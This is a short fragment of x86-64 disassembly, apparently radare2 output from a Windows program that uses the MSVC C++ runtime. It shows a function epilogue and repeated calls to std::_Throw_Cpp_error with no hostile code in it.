mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [0x14009019c], 0x7ffffffe
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov r8, rbx
lea rdx, [rbp + 0x90]
lea rcx, str.absolute
call fcn.14005dc00
nop
mov ecx, 0x16
call fcn.14005dcd0
int3
shr rsi, 0x20
mov ecx, esi
call fcn.14005dd10
int3
shr rcx, 0x20
call fcn.14005dd10
nop
mov dword [0x14009014c], 0x7ffffffe
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov dword [0x14009014c], 0x7ffffffe
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3